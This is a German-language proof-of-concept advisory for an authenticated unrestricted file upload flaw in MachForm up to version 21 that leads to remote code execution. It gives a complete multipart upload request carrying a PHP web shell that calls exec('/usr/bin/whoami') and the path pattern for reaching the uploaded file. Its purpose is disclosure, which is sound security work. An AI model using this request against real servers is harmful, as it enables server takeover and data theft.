
Proof-of-Concept-Exploit für eine authentifizierte, uneingeschränkte Datei-Upload-Sicherheitslücke in MachForm v21, der Remotecodeausführung durch PHP-Datei-Upload ermöglicht.
MachForm bis Version 21 ist von einem authentifizierten uneingeschränkten Datei-Upload betroffen, der zu einer Remote Code Execution führt.
Die Anwendung bietet die Möglichkeit, ein Formular mit einer Datei-Upload-Funktion zu erstellen. Während standardmäßig die akzeptierten Dateien auf eine gängige sichere Teilmenge beschränkt sind, kann der Formularersteller auch zusätzliche Formate angeben, die erlaubt sind.
Wenn ein Benutzer mit Formularerstellungsrechten ein Formular mit Datei-Upload-Funktion erstellt, bei dem das Format „PHP“ erlaubt ist, kann jeder nicht authentifizierte Benutzer dieses Formular ausnutzen, um Remote Code Execution zu erlangen.
Um diese Schwachstelle auszunutzen, ist ein Formular mit aktivierter Datei-Upload-Funktion erforderlich, für das die Erweiterungen „PHP“ auf die Whitelist gesetzt wurden.

Sobald diese Voraussetzung erfüllt ist, kann jeder nicht authentifizierte Benutzer zu dem Formular navigieren, um die Datei-Upload-Schwachstelle auszunutzen.
Dateien, die in das Formular hochgeladen wurden, aber noch nicht im Formular übermittelt wurden, werden auf dem Webserver in einem vorgegebenen Verzeichnis mit dem Format .tmp hochgeladen.

Anfrage:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
Der vollständige Pfad der hochgeladenen Datei kann mithilfe der Upload-Anfrage erstellt werden, die alle erforderlichen Felder enthält:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
In diesem Szenario lautet die URL der hochgeladenen Datei wie folgt:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

Sobald Remote Code Execution erlangt wurde, ist es möglich, direkt auf dem Zielserver zu operieren, was den Zugriff über den Umfang der Anwendung hinaus ermöglicht und das Lesen sensibler Informationen oder das Ändern/Löschen von Kernkomponenten erlauben würde.